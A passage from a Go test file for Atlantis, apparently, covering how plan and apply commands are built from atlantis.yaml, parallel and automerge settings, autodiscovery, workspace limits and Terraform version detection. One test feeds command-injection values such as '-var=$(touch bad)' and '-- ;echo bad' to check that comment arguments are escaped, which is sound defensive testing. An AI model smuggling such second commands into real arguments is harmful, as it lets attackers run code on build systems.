nil,\n\t\t\t\t},\n\t\t\t\t\"project2\": map[string]any{\n\t\t\t\t\t\"main.tf\": nil,\n\t\t\t\t},\n\t\t\t},\n\t\t\tModifiedFiles: []string{\"project1/main.tf\", \"project2/main.tf\"},\n\t\t\tExp: []expCtxFields{\n\t\t\t\t{\n\t\t\t\t\tProjectName: \"\",\n\t\t\t\t\tRepoRelDir:  \"project1\",\n\t\t\t\t\tWorkspace:   \"default\",\n\t\t\t\t},\n\t\t\t\t{\n\t\t\t\t\tProjectName: \"\",\n\t\t\t\t\tRepoRelDir:  \"project2\",\n\t\t\t\t\tWorkspace:   \"default\",\n\t\t\t\t},\n\t\t\t},\n\t\t},\n\t\t\"no projects in atlantis.yaml with parallel operations in atlantis.yaml\": {\n\t\t\tDirStructure: map[string]any{\n\t\t\t\t\"project1\": map[string]any{\n\t\t\t\t\t\"main.tf\": nil,\n\t\t\t\t},\n\t\t\t\t\"project2\": map[string]any{\n\t\t\t\t\t\"main.tf\": nil,\n\t\t\t\t},\n\t\t\t},\n\t\t\tAtlantisYAML: `\nversion: 3\nautomerge: true\nparallel_plan: true\nparallel_apply: true\n`,\n\t\t\tModifiedFiles: []string{\"project1/main.tf\", \"project2/main.tf\"},\n\t\t\tExp: []expCtxFields{\n\t\t\t\t{\n\t\t\t\t\tProjectName:      \"\",\n\t\t\t\t\tRepoRelDir:       \"project1\",\n\t\t\t\t\tWorkspace:        \"default\",\n\t\t\t\t\tAutomerge:        true,\n\t\t\t\t\tExpParallelApply: true,\n\t\t\t\t\tExpParallelPlan:  true,\n\t\t\t\t},\n\t\t\t\t{\n\t\t\t\t\tProjectName:      \"\",\n\t\t\t\t\tRepoRelDir:       \"project2\",\n\t\t\t\t\tWorkspace:        \"default\",\n\t\t\t\t\tAutomerge:        true,\n\t\t\t\t\tExpParallelApply: true,\n\t\t\t\t\tExpParallelPlan:  true,\n\t\t\t\t},\n\t\t\t},\n\t\t},\n\t\t\"no projects in atlantis.yaml with parallel operations and automerge not in atlantis.yaml, but in user conf\": {\n\t\t\tDirStructure: map[string]any{\n\t\t\t\t\"project1\": map[string]any{\n\t\t\t\t\t\"main.tf\": nil,\n\t\t\t\t},\n\t\t\t\t\"project2\": map[string]any{\n\t\t\t\t\t\"main.tf\": nil,\n\t\t\t\t},\n\t\t\t},\n\t\t\tAtlantisYAML: `\nversion: 3\n`,\n\t\t\tAutoMergeUserCfg:            true,\n\t\t\tParallelPlanEnabledUserCfg:  true,\n\t\t\tParallelApplyEnabledUserCfg: true,\n\t\t\tModifiedFiles:               []string{\"project1/main.tf\", \"project2/main.tf\"},\n\t\t\tExp: []expCtxFields{\n\t\t\t\t{\n\t\t\t\t\tProjectName:      \"\",\n\t\t\t\t\tRepoRelDir:       \"project1\",\n\t\t\t\t\tWorkspace:        \"default\",\n\t\t\t\t\tAutomerge:        true,\n\t\t\t\t\tExpParallelApply: true,\n\t\t\t\t\tExpParallelPlan:  true,\n\t\t\t\t},\n\t\t\t\t{\n\t\t\t\t\tProjectName:      \"\",\n\t\t\t\t\tRepoRelDir:       \"project2\",\n\t\t\t\t\tWorkspace:        \"default\",\n\t\t\t\t\tAutomerge:        true,\n\t\t\t\t\tExpParallelApply: true,\n\t\t\t\t\tExpParallelPlan:  true,\n\t\t\t\t},\n\t\t\t},\n\t\t},\n\t\t\"no projects in atlantis.yaml with parallel operations and automerge set to false in atlantis.yaml and true in user conf\": {\n\t\t\tDirStructure: map[string]any{\n\t\t\t\t\"project1\": map[string]any{\n\t\t\t\t\t\"main.tf\": nil,\n\t\t\t\t},\n\t\t\t\t\"project2\": map[string]any{\n\t\t\t\t\t\"main.tf\": nil,\n\t\t\t\t},\n\t\t\t},\n\t\t\tAtlantisYAML: `\nversion: 3\nautomerge: false\nparallel_plan: false\nparallel_apply: false\n`,\n\t\t\tAutoMergeUserCfg:            true,\n\t\t\tParallelPlanEnabledUserCfg:  true,\n\t\t\tParallelApplyEnabledUserCfg: true,\n\t\t\tModifiedFiles:               []string{\"project1/main.tf\", \"project2/main.tf\"},\n\t\t\tExp: []expCtxFields{\n\t\t\t\t{\n\t\t\t\t\tProjectName:      \"\",\n\t\t\t\t\tRepoRelDir:       \"project1\",\n\t\t\t\t\tWorkspace:        \"default\",\n\t\t\t\t\tAutomerge:        false,\n\t\t\t\t\tExpParallelApply: false,\n\t\t\t\t\tExpParallelPlan:  false,\n\t\t\t\t},\n\t\t\t\t{\n\t\t\t\t\tProjectName:      \"\",\n\t\t\t\t\tRepoRelDir:       \"project2\",\n\t\t\t\t\tWorkspace:        \"default\",\n\t\t\t\t\tAutomerge:        false,\n\t\t\t\t\tExpParallelApply: false,\n\t\t\t\t\tExpParallelPlan:  false,\n\t\t\t\t},\n\t\t\t},\n\t\t},\n\t\t\"no modified files\": {\n\t\t\tDirStructure: map[string]any{\n\t\t\t\t\"main.tf\": nil,\n\t\t\t},\n\t\t\tModifiedFiles: []string{},\n\t\t\tExp:           []expCtxFields{},\n\t\t},\n\t\t\"follow when_modified config\": {\n\t\t\tDirStructure: map[string]any{\n\t\t\t\t\"project1\": map[string]any{\n\t\t\t\t\t\"main.tf\": nil,\n\t\t\t\t},\n\t\t\t\t\"project2\": map[string]any{\n\t\t\t\t\t\"main.tf\": nil,\n\t\t\t\t},\n\t\t\t\t\"project3\": map[string]any{\n\t\t\t\t\t\"main.tf\": nil,\n\t\t\t\t},\n\t\t\t},\n\t\t\tAtlantisYAML: `version: 3\nprojects:\n- dir: project1 # project1 uses the defaults\n- dir: project2 # project2 has autoplan disabled but should use default when_modified\n  autoplan:\n    enabled: false\n- dir: project3 # project3 has an empty when_modified\n  autoplan:\n    enabled: false\n    when_modified: []`,\n\t\t\tModifiedFiles: []string{\"project1/main.tf\", \"project2/main.tf\", \"project3/main.tf\"},\n\t\t\tExp: []expCtxFields{\n\t\t\t\t{\n\t\t\t\t\tProjectName: \"\",\n\t\t\t\t\tRepoRelDir:  \"project1\",\n\t\t\t\t\tWorkspace:   \"default\",\n\t\t\t\t},\n\t\t\t\t{\n\t\t\t\t\tProjectName: \"\",\n\t\t\t\t\tRepoRelDir:  \"project2\",\n\t\t\t\t\tWorkspace:   \"default\",\n\t\t\t\t},\n\t\t\t},\n\t\t},\n\t\t\"follow autodiscover enabled config\": {\n\t\t\tDirStructure: map[string]any{\n\t\t\t\t\"project1\": map[string]any{\n\t\t\t\t\t\"main.tf\": nil,\n\t\t\t\t},\n\t\t\t\t\"project2\": map[string]any{\n\t\t\t\t\t\"main.tf\": nil,\n\t\t\t\t},\n\t\t\t\t\"project3\": map[string]any{\n\t\t\t\t\t\"main.tf\": nil,\n\t\t\t\t},\n\t\t\t},\n\t\t\tAtlantisYAML: `version: 3\nautodiscover:\n  mode: enabled\nprojects:\n- name: project1-custom-name\n  dir: project1`,\n\t\t\tModifiedFiles: []string{\"project1/main.tf\", \"project2/main.tf\"},\n\t\t\t// project2 is autodiscovered, whereas project1 is not\n\t\t\tExp: []expCtxFields{\n\t\t\t\t{\n\t\t\t\t\tProjectName: \"project1-custom-name\",\n\t\t\t\t\tRepoRelDir:  \"project1\",\n\t\t\t\t\tWorkspace:   \"default\",\n\t\t\t\t},\n\t\t\t\t{\n\t\t\t\t\tProjectName: \"\",\n\t\t\t\t\tRepoRelDir:  \"project2\",\n\t\t\t\t\tWorkspace:   \"default\",\n\t\t\t\t},\n\t\t\t},\n\t\t},\n\t\t\"autodiscover enabled but ignoring explicit project\": {\n\t\t\tDirStructure: map[string]any{\n\t\t\t\t\"project1\": map[string]any{\n\t\t\t\t\t\"main.tf\": nil,\n\t\t\t\t},\n\t\t\t\t\"project2\": map[string]any{\n\t\t\t\t\t\"main.tf\": nil,\n\t\t\t\t},\n\t\t\t\t\"project3\": map[string]any{\n\t\t\t\t\t\"main.tf\": nil,\n\t\t\t\t},\n\t\t\t},\n\t\t\tAtlantisYAML: `version: 3\nautodiscover:\n  mode: enabled\n  ignore_paths:\n  - project1\nprojects:\n- name: project1-custom-name\n  dir: project1`,\n\t\t\tModifiedFiles: []string{\"project1/main.tf\", \"project2/main.tf\"},\n\t\t\t// project2 is autodiscover-ignored, but configured explicitly so added\n\t\t\t// project1 is autodiscoverd as normal\n\t\t\tExp: []expCtxFields{\n\t\t\t\t{\n\t\t\t\t\tProjectName: \"project1-custom-name\",\n\t\t\t\t\tRepoRelDir:  \"project1\",\n\t\t\t\t\tWorkspace:   \"default\",\n\t\t\t\t},\n\t\t\t\t{\n\t\t\t\t\tProjectName: \"\",\n\t\t\t\t\tRepoRelDir:  \"project2\",\n\t\t\t\t\tWorkspace:   \"default\",\n\t\t\t\t},\n\t\t\t},\n\t\t},\n\t\t\"autodiscover enabled but project excluded by empty when_modified\": {\n\t\t\tDirStructure: map[string]any{\n\t\t\t\t\"project1\": map[string]any{\n\t\t\t\t\t\"main.tf\": nil,\n\t\t\t\t},\n\t\t\t\t\"project2\": map[string]any{\n\t\t\t\t\t\"main.tf\": nil,\n\t\t\t\t},\n\t\t\t\t\"project3\": map[string]any{\n\t\t\t\t\t\"main.tf\": nil,\n\t\t\t\t},\n\t\t\t},\n\t\t\tAtlantisYAML: `version: 3\nautodiscover:\n  mode: enabled\nprojects:\n- dir: project1\n  autoplan:\n    when_modified: []`,\n\t\t\tModifiedFiles: []string{\"project1/main.tf\", \"project2/main.tf\"},\n\t\t\tExp: []expCtxFields{\n\t\t\t\t{\n\t\t\t\t\tProjectName: \"\",\n\t\t\t\t\tRepoRelDir:  \"project2\",\n\t\t\t\t\tWorkspace:   \"default\",\n\t\t\t\t},\n\t\t\t},\n\t\t},\n\t}\n\n\tlogger := logging.NewNoopLogger(t)\n\tscope := metricstest.NewLoggingScope(t, logger, \"atlantis\")\n\tuserConfig := defaultUserConfig\n\n\tfor name, c := range cases {\n\t\tt.Run(name, func(t *testing.T) {\n\t\t\tRegisterMockTestingT(t)\n\t\t\ttmpDir := DirStructure(t, c.DirStructure)\n\n\t\t\tworkingDir := mocks.NewMockWorkingDir()\n\t\t\tWhen(workingDir.Clone(Any[logging.SimpleLogging](), Any[models.Repo](), Any[models.PullRequest](),\n\t\t\t\tAny[string]())).ThenReturn(tmpDir, nil)\n\t\t\tWhen(workingDir.GetWorkingDir(Any[models.Repo](), Any[models.PullRequest](), Any[string]())).ThenReturn(tmpDir, nil)\n\t\t\tvcsClient := vcsmocks.NewMockClient()\n\t\t\tWhen(vcsClient.GetModifiedFiles(Any[logging.SimpleLogging](), Any[models.Repo](),\n\t\t\t\tAny[models.PullRequest]())).ThenReturn(c.ModifiedFiles, nil)\n\t\t\tif c.AtlantisYAML != \"\" {\n\t\t\t\terr := os.WriteFile(filepath.Join(tmpDir, valid.DefaultAtlantisFile), []byte(c.AtlantisYAML), 0600)\n\t\t\t\tOk(t, err)\n\t\t\t}\n\n\t\t\tglobalCfgArgs := valid.GlobalCfgArgs{\n\t\t\t\tAllowAllRepoSettings: true,\n\t\t\t}\n\n\t\t\tterraformClient := tfclientmocks.NewMockClient()\n\n\t\t\tbuilder := events.NewProjectCommandBuilder(\n\t\t\t\tfalse,\n\t\t\t\t&config.ParserValidator{},\n\t\t\t\t&events.DefaultProjectFinder{},\n\t\t\t\tvcsClient,\n\t\t\t\tworkingDir,\n\t\t\t\tevents.NewDefaultWorkingDirLocker(),\n\t\t\t\tvalid.NewGlobalCfgFromArgs(globalCfgArgs),\n\t\t\t\t&events.DefaultPendingPlanFinder{},\n\t\t\t\t&events.CommentParser{ExecutableName: \"atlantis\"},\n\t\t\t\tuserConfig.SkipCloneNoChanges,\n\t\t\t\tuserConfig.EnableRegExpCmd,\n\t\t\t\tuserConfig.EnableAutoMerge,\n\t\t\t\tc.ParallelPlanEnabledUserCfg,\n\t\t\t\tc.ParallelApplyEnabledUserCfg,\n\t\t\t\tuserConfig.AutoDetectModuleFiles,\n\t\t\t\tuserConfig.AutoplanFileList,\n\t\t\t\tuserConfig.RestrictFileList,\n\t\t\t\tuserConfig.SilenceNoProjects,\n\t\t\t\tuserConfig.IncludeGitUntrackedFiles,\n\t\t\t\tuserConfig.AutoDiscoverMode,\n\t\t\t\tscope,\n\t\t\t\tterraformClient,\n\t\t\t)\n\n\t\t\tctxs, err := builder.BuildPlanCommands(\n\t\t\t\t&command.Context{\n\t\t\t\t\tLog:   logger,\n\t\t\t\t\tScope: scope,\n\t\t\t\t},\n\t\t\t\t&events.CommentCommand{\n\t\t\t\t\tRepoRelDir:  \"\",\n\t\t\t\t\tFlags:       nil,\n\t\t\t\t\tName:        command.Plan,\n\t\t\t\t\tVerbose:     true,\n\t\t\t\t\tWorkspace:   \"\",\n\t\t\t\t\tProjectName: \"\",\n\t\t\t\t})\n\t\t\tOk(t, err)\n\t\t\tEquals(t, len(c.Exp), len(ctxs))\n\t\t\tfor i, actCtx := range ctxs {\n\t\t\t\texpCtx := c.Exp[i]\n\t\t\t\tEquals(t, expCtx.ProjectName, actCtx.ProjectName)\n\t\t\t\tEquals(t, expCtx.RepoRelDir, actCtx.RepoRelDir)\n\t\t\t\tEquals(t, expCtx.Workspace, actCtx.Workspace)\n\t\t\t\tEquals(t, expCtx.ExpParallelPlan, actCtx.ParallelPlanEnabled)\n\t\t\t\tEquals(t, expCtx.ExpParallelApply, actCtx.ParallelApplyEnabled)\n\t\t\t}\n\t\t})\n\t}\n}\n\n// Test building apply command for multiple projects when the comment\n// isn't for a specific project, i.e. atlantis apply.\n// In this case we should apply all outstanding plans.\nfunc TestDefaultProjectCommandBuilder_BuildMultiApply(t *testing.T) {\n\tRegisterMockTestingT(t)\n\ttmpDir := DirStructure(t, map[string]any{\n\t\t\"workspace1\": map[string]any{\n\t\t\t\"project1\": map[string]any{\n\t\t\t\t\"main.tf\":          nil,\n\t\t\t\t\"workspace.tfplan\": nil,\n\t\t\t},\n\t\t\t\"project2\": map[string]any{\n\t\t\t\t\"main.tf\":          nil,\n\t\t\t\t\"workspace.tfplan\": nil,\n\t\t\t},\n\t\t},\n\t\t\"workspace2\": map[string]any{\n\t\t\t\"project1\": map[string]any{\n\t\t\t\t\"main.tf\":          nil,\n\t\t\t\t\"workspace.tfplan\": nil,\n\t\t\t},\n\t\t\t\"project2\": map[string]any{\n\t\t\t\t\"main.tf\":          nil,\n\t\t\t\t\"workspace.tfplan\": nil,\n\t\t\t},\n\t\t},\n\t})\n\t// Initialize git repos in each workspace so that the .tfplan files get\n\t// picked up.\n\trunCmd(t, filepath.Join(tmpDir, \"workspace1\"), \"git\", \"init\")\n\trunCmd(t, filepath.Join(tmpDir, \"workspace2\"), \"git\", \"init\")\n\n\tworkingDir := mocks.NewMockWorkingDir()\n\tWhen(workingDir.GetPullDir(\n\t\tAny[models.Repo](),\n\t\tAny[models.PullRequest]())).\n\t\tThenReturn(tmpDir, nil)\n\n\tlogger := logging.NewNoopLogger(t)\n\tuserConfig := defaultUserConfig\n\n\tglobalCfgArgs := valid.GlobalCfgArgs{}\n\tscope := metricstest.NewLoggingScope(t, logger, \"atlantis\")\n\n\tterraformClient := tfclientmocks.NewMockClient()\n\n\tbuilder := events.NewProjectCommandBuilder(\n\t\tfalse,\n\t\t&config.ParserValidator{},\n\t\t&events.DefaultProjectFinder{},\n\t\tnil,\n\t\tworkingDir,\n\t\tevents.NewDefaultWorkingDirLocker(),\n\t\tvalid.NewGlobalCfgFromArgs(globalCfgArgs),\n\t\t&events.DefaultPendingPlanFinder{},\n\t\t&events.CommentParser{ExecutableName: \"atlantis\"},\n\t\tuserConfig.SkipCloneNoChanges,\n\t\tuserConfig.EnableRegExpCmd,\n\t\tuserConfig.EnableAutoMerge,\n\t\tuserConfig.EnableParallelPlan,\n\t\tuserConfig.EnableParallelApply,\n\t\tuserConfig.AutoDetectModuleFiles,\n\t\tuserConfig.AutoplanFileList,\n\t\tuserConfig.RestrictFileList,\n\t\tuserConfig.SilenceNoProjects,\n\t\tuserConfig.IncludeGitUntrackedFiles,\n\t\tuserConfig.AutoDiscoverMode,\n\t\tscope,\n\t\tterraformClient,\n\t)\n\n\tctxs, err := builder.BuildApplyCommands(\n\t\t&command.Context{\n\t\t\tLog:   logger,\n\t\t\tScope: scope,\n\t\t},\n\t\t&events.CommentCommand{\n\t\t\tRepoRelDir:  \"\",\n\t\t\tFlags:       nil,\n\t\t\tName:        command.Apply,\n\t\t\tVerbose:     false,\n\t\t\tWorkspace:   \"\",\n\t\t\tProjectName: \"\",\n\t\t})\n\tOk(t, err)\n\tEquals(t, 4, len(ctxs))\n\tEquals(t, \"project1\", ctxs[0].RepoRelDir)\n\tEquals(t, \"workspace1\", ctxs[0].Workspace)\n\tEquals(t, \"project2\", ctxs[1].RepoRelDir)\n\tEquals(t, \"workspace1\", ctxs[1].Workspace)\n\tEquals(t, \"project1\", ctxs[2].RepoRelDir)\n\tEquals(t, \"workspace2\", ctxs[2].Workspace)\n\tEquals(t, \"project2\", ctxs[3].RepoRelDir)\n\tEquals(t, \"workspace2\", ctxs[3].Workspace)\n}\n\n// Test that if a directory has a list of workspaces configured then we don't\n// allow plans for other workspace names.\nfunc TestDefaultProjectCommandBuilder_WrongWorkspaceName(t *testing.T) {\n\tRegisterMockTestingT(t)\n\tworkingDir := mocks.NewMockWorkingDir()\n\n\ttmpDir := DirStructure(t, map[string]any{\n\t\t\"pulldir\": map[string]any{\n\t\t\t\"notconfigured\": map[string]any{},\n\t\t},\n\t})\n\trepoDir := filepath.Join(tmpDir, \"pulldir/notconfigured\")\n\n\tyamlCfg := `version: 3\nprojects:\n- dir: .\n  workspace: default\n- dir: .\n  workspace: staging\n`\n\terr := os.WriteFile(filepath.Join(repoDir, valid.DefaultAtlantisFile), []byte(yamlCfg), 0600)\n\tOk(t, err)\n\n\tWhen(workingDir.Clone(Any[logging.SimpleLogging](), Any[models.Repo](), Any[models.PullRequest](),\n\t\tAny[string]())).ThenReturn(repoDir, nil)\n\tWhen(workingDir.GetWorkingDir(Any[models.Repo](), Any[models.PullRequest](), Any[string]())).ThenReturn(repoDir, nil)\n\n\tglobalCfgArgs := valid.GlobalCfgArgs{\n\t\tAllowAllRepoSettings: true,\n\t}\n\tlogger := logging.NewNoopLogger(t)\n\tscope := metricstest.NewLoggingScope(t, logger, \"atlantis\")\n\tuserConfig := defaultUserConfig\n\n\tterraformClient := tfclientmocks.NewMockClient()\n\n\tbuilder := events.NewProjectCommandBuilder(\n\t\tfalse,\n\t\t&config.ParserValidator{},\n\t\t&events.DefaultProjectFinder{},\n\t\tnil,\n\t\tworkingDir,\n\t\tevents.NewDefaultWorkingDirLocker(),\n\t\tvalid.NewGlobalCfgFromArgs(globalCfgArgs),\n\t\t&events.DefaultPendingPlanFinder{},\n\t\t&events.CommentParser{ExecutableName: \"atlantis\"},\n\t\tuserConfig.SkipCloneNoChanges,\n\t\tuserConfig.EnableRegExpCmd,\n\t\tuserConfig.EnableAutoMerge,\n\t\tuserConfig.EnableParallelPlan,\n\t\tuserConfig.EnableParallelApply,\n\t\tuserConfig.AutoDetectModuleFiles,\n\t\tuserConfig.AutoplanFileList,\n\t\tuserConfig.RestrictFileList,\n\t\tuserConfig.SilenceNoProjects,\n\t\tuserConfig.IncludeGitUntrackedFiles,\n\t\tuserConfig.AutoDiscoverMode,\n\t\tscope,\n\t\tterraformClient,\n\t)\n\n\tctx := &command.Context{\n\t\tHeadRepo: models.Repo{},\n\t\tPull:     models.PullRequest{},\n\t\tUser:     models.User{},\n\t\tLog:      logger,\n\t\tScope:    scope,\n\t}\n\t_, err = builder.BuildPlanCommands(ctx, &events.CommentCommand{\n\t\tRepoRelDir:  \".\",\n\t\tFlags:       nil,\n\t\tName:        command.Plan,\n\t\tVerbose:     false,\n\t\tWorkspace:   \"notconfigured\",\n\t\tProjectName: \"\",\n\t})\n\tErrEquals(t, \"running commands in workspace \\\"notconfigured\\\" is not allowed because this directory is only configured for the following workspaces: default, staging\", err)\n}\n\n// Test that extra comment args are escaped.\nfunc TestDefaultProjectCommandBuilder_EscapeArgs(t *testing.T) {\n\tcases := []struct {\n\t\tExtraArgs      []string\n\t\tExpEscapedArgs []string\n\t}{\n\t\t{\n\t\t\tExtraArgs:      []string{\"arg1\", \"arg2\"},\n\t\t\tExpEscapedArgs: []string{`\\a\\r\\g\\1`, `\\a\\r\\g\\2`},\n\t\t},\n\t\t{\n\t\t\tExtraArgs:      []string{\"-var=$(touch bad)\"},\n\t\t\tExpEscapedArgs: []string{`\\-\\v\\a\\r\\=\\$\\(\\t\\o\\u\\c\\h\\ \\b\\a\\d\\)`},\n\t\t},\n\t\t{\n\t\t\tExtraArgs:      []string{\"-- ;echo bad\"},\n\t\t\tExpEscapedArgs: []string{`\\-\\-\\ \\;\\e\\c\\h\\o\\ \\b\\a\\d`},\n\t\t},\n\t}\n\n\tlogger := logging.NewNoopLogger(t)\n\tscope := metricstest.NewLoggingScope(t, logger, \"atlantis\")\n\tuserConfig := defaultUserConfig\n\n\tfor _, c := range cases {\n\t\tt.Run(strings.Join(c.ExtraArgs, \" \"), func(t *testing.T) {\n\t\t\tRegisterMockTestingT(t)\n\t\t\ttmpDir := DirStructure(t, map[string]any{\n\t\t\t\t\"main.tf\": nil,\n\t\t\t})\n\n\t\t\tworkingDir := mocks.NewMockWorkingDir()\n\t\t\tWhen(workingDir.Clone(Any[logging.SimpleLogging](), Any[models.Repo](), Any[models.PullRequest](),\n\t\t\t\tAny[string]())).ThenReturn(tmpDir, nil)\n\t\t\tWhen(workingDir.GetWorkingDir(Any[models.Repo](), Any[models.PullRequest](), Any[string]())).ThenReturn(tmpDir, nil)\n\t\t\tvcsClient := vcsmocks.NewMockClient()\n\t\t\tWhen(vcsClient.GetModifiedFiles(Any[logging.SimpleLogging](), Any[models.Repo](),\n\t\t\t\tAny[models.PullRequest]())).ThenReturn([]string{\"main.tf\"}, nil)\n\n\t\t\tglobalCfgArgs := valid.GlobalCfgArgs{\n\t\t\t\tAllowAllRepoSettings: true,\n\t\t\t}\n\n\t\t\tterraformClient := tfclientmocks.NewMockClient()\n\n\t\t\tbuilder := events.NewProjectCommandBuilder(\n\t\t\t\tfalse,\n\t\t\t\t&config.ParserValidator{},\n\t\t\t\t&events.DefaultProjectFinder{},\n\t\t\t\tvcsClient,\n\t\t\t\tworkingDir,\n\t\t\t\tevents.NewDefaultWorkingDirLocker(),\n\t\t\t\tvalid.NewGlobalCfgFromArgs(globalCfgArgs),\n\t\t\t\t&events.DefaultPendingPlanFinder{},\n\t\t\t\t&events.CommentParser{ExecutableName: \"atlantis\"},\n\t\t\t\tuserConfig.SkipCloneNoChanges,\n\t\t\t\tuserConfig.EnableRegExpCmd,\n\t\t\t\tuserConfig.EnableAutoMerge,\n\t\t\t\tuserConfig.EnableParallelPlan,\n\t\t\t\tuserConfig.EnableParallelApply,\n\t\t\t\tuserConfig.AutoDetectModuleFiles,\n\t\t\t\tuserConfig.AutoplanFileList,\n\t\t\t\tuserConfig.RestrictFileList,\n\t\t\t\tuserConfig.SilenceNoProjects,\n\t\t\t\tuserConfig.IncludeGitUntrackedFiles,\n\t\t\t\tuserConfig.AutoDiscoverMode,\n\t\t\t\tscope,\n\t\t\t\tterraformClient,\n\t\t\t)\n\n\t\t\tvar actCtxs []command.ProjectContext\n\t\t\tvar err error\n\t\t\tactCtxs, err = builder.BuildPlanCommands(&command.Context{\n\t\t\t\tLog:   logger,\n\t\t\t\tScope: scope,\n\t\t\t}, &events.CommentCommand{\n\t\t\t\tRepoRelDir: \".\",\n\t\t\t\tFlags:      c.ExtraArgs,\n\t\t\t\tName:       command.Plan,\n\t\t\t\tVerbose:    false,\n\t\t\t\tWorkspace:  \"default\",\n\t\t\t})\n\t\t\tOk(t, err)\n\t\t\tEquals(t, 1, len(actCtxs))\n\t\t\tactCtx := actCtxs[0]\n\t\t\tEquals(t, c.ExpEscapedArgs, actCtx.EscapedCommentArgs)\n\t\t})\n\t}\n}\n\n// Test that terraform version is used when specified in terraform configuration\nfunc TestDefaultProjectCommandBuilder_TerraformVersion(t *testing.T) {\n\t// For the following tests:\n\t// If terraform configuration is used, result should be `0.12.8`.\n\t// If project configuration is used, result should be `0.12.6`.\n\t// If default is to be used, result should be `nil`.\n\n\tbaseVersionConfig := `\nterraform {\n  required_version = \"0.12.8\"\n}\n`\n\n\tatlantisYamlContent := `\nversion: 3\nprojects:\n- dir: project1 # project1 uses the defaults\n  terraform_version: v0.12.6\n`\n\n\ttype testCase struct {\n\t\tDirStructure  map[string]any\n\t\tAtlantisYAML  string\n\t\tModifiedFiles []string\n\t\tExp           map[string]string\n\t}\n\n\ttestCases := make(map[string]testCase)\n\n\t// atlantis.yaml should take precedence over terraform config\n\ttestCases[\"with project config and terraform config\"] = testCase{\n\t\tDirStructure: map[string]any{\n\t\t\t\"project1\": map[string]any{\n\t\t\t\t\"main.tf\": baseVersionConfig,\n\t\t\t},\n\t\t\tvalid.DefaultAtlantisFile: atlantisYamlContent,\n\t\t},\n\t\tModifiedFiles: []string{\"project1/main.tf\", \"project2/main.tf\"},\n\t\tExp: map[string]string{\n\t\t\t\"project1\": \"0.12.6\",\n\t\t},\n\t}\n\n\ttestCases[\"with project config only\"] = testCase{\n\t\tDirStructure: map[string]any{\n\t\t\t\"project1\": map[string]any{\n\t\t\t\t\"main.tf\": nil,\n\t\t\t},\n\t\t\tvalid.DefaultAtlantisFile: atlantisYamlContent,\n\t\t},\n\t\tModifiedFiles: []string{\"project1/main.tf\"},\n\t\tExp: map[string]string{\n\t\t\t\"project1\": \"0.12.6\",\n\t\t},\n\t}\n\n\ttestCases[\"neither project config or terraform config\"] = testCase{\n\t\tDirStructure: map[string]any{\n\t\t\t\"project1\": map[string]any{\n\t\t\t\t\"main.tf\": nil,\n\t\t\t},\n\t\t},\n\t\tModifiedFiles: []string{\"project1/main.tf\", \"project2/main.tf\"},\n\t\tExp: map[string]string{\n\t\t\t\"project1\": \"\",\n\t\t},\n\t}\n\n\ttestCases[\"project with different terraform config\"] = testCase{\n\t\tDirStructure: map[string]any{\n\t\t\t\"project1\": map[string]any{\n\t\t\t\t\"main.tf\": baseVersionConfig,\n\t\t\t},\n\t\t\t\"project2\": map[string]any{\n\t\t\t\t\"main.tf\": strings.ReplaceAll(baseVersionConfig, \"0.12.8\", \"0.12.9\"),\n\t\t\t},\n\t\t},\n\t\tModifiedFiles: []string{\"project1/main.tf\", \"project2/main.tf\"},\n\t\tExp: map[string]string{\n\t\t\t\"project1\": \"0.12.8\",\n\t\t\t\"project2\": \"0.12.9\",\n\t\t},\n\t}\n\n\tlogger := logging.NewNoopLogger(t)\n\tscope := metricstest.NewLoggingScope(t, logger, \"atlantis\")\n\tuserConfig := defaultUserConfig\n\n\tfor name, testCase := range testCases {\n\t\tt.Run(name, func(t *testing.T) {\n\t\t\tRegisterMockTestingT(t)\n\n\t\t\ttmpDir := DirStructure(t, testCase.DirStructure)\n\n\t\t\tvcsClient := vcsmocks.NewMockClient()\n\t\t\tWhen(vcsClient.GetModifiedFiles(Any[logging.SimpleLogging](), Any[models.Repo](),\n\t\t\t\tAny[models.PullRequest]())).ThenReturn(testCase.ModifiedFiles, nil)\n\t\t\tworkingDir := mocks.NewMockWorkingDir()\n\t\t\tWhen(workingDir.Clone(Any[logging.SimpleLogging](), Any[models.Repo](), Any[models.PullRequest](),\n\t\t\t\tAny[string]())).ThenReturn(tmpDir, nil)\n\t\t\tWhen(workingDir.GetWorkingDir(Any[models.Repo](), Any[models.PullRequest](), Any[string]())).ThenReturn(tmpDir, nil)\n\n\t\t\tglobalCfgArgs := valid.GlobalCfgArgs{\n\t\t\t\tAllowAllRepoSettings: true,\n\t\t\t}\n\n\t\t\tterraformClient := tfclientmocks.NewMockClient()\n\t\t\tWhen(terraformClient.DetectVersion(Any[logging.SimpleLogging](), Any[string]())).Then(func(params []Param) ReturnValues {\n\t\t\t\tprojectName := filepath.Base(params[1].(string))\n\t\t\t\ttestVersion := testCase.Exp[projectName]\n\t\t\t\tif testVersion != \"\" {\n\t\t\t\t\tv, _ := version.NewVersion(testVersion)\n\t\t\t\t\treturn []ReturnValue{v}\n\t\t\t\t}\n\t\t\t\treturn nil\n\t\t\t})\n\n\t\t\tbuilder := events.NewProjectCommandBuilder(\n\t\t\t\tfalse,\n\t\t\t\t&config.ParserValidator{},\n\t\t\t\t&events.DefaultProjectFinder{},\n\t\t\t\tvcsClient,\n\t\t\t\tworkingDir,\n\t\t\t\tevents.NewDefaultWorkingDirLocker(),\n\t\t\t\tvalid.NewGlobalCfgFromArgs(globalCfgArgs),\n\t\t\t\t&events.DefaultPendingPlanFinder{},\n\t\t\t\t&events.CommentParser{ExecutableName: \"atlantis\"},\n\t\t\t\tuserConfig.SkipCloneNoChanges,\n\t\t\t\tuserConfig.EnableRegExpCmd,\n\t\t\t\tuserConfig.EnableAutoMerge,\n\t\t\t\tuserConfig.EnableParallelPlan,\n\t\t\t\tuserConfig.EnableParallelApply,\n\t\t\t\tuserConfig.AutoDetectModuleFiles,\n\t\t\t\tuserConfig.AutoplanFileList,\n\t\t\t\tuserConfig.RestrictFileList,\n\t\t\t\tuserConfig.SilenceNoProjects,\n\t\t\t\tuserConfig.IncludeGitUntrackedFiles,\n\t\t\t\tuserConfig.AutoDiscoverMode,\n\t\t\t\tscope,\n\t\t\t\tterraformClient,\n\t\t\t)\n\n\t\t\tactCtxs, err := builder.BuildPlanCommands(\n\t\t\t\t&command.Context{\n\t\t\t\t\tLog:   logger,\n\t\t\t\t\tScope: scope,\n\t\t\t\t},\n\t\t\t\t&events.CommentCommand{\n\t\t\t\t\tRepoRelDir: \"\",\n\t\t\t\t\tFlags:      nil,\n\t\t\t\t\tName:       command.Plan,\n\t\t\t\t\tVerbose:    false,\n\t\t\t\t})\n\n\t\t\tOk(t, err)\n\t\t\tEquals(t, 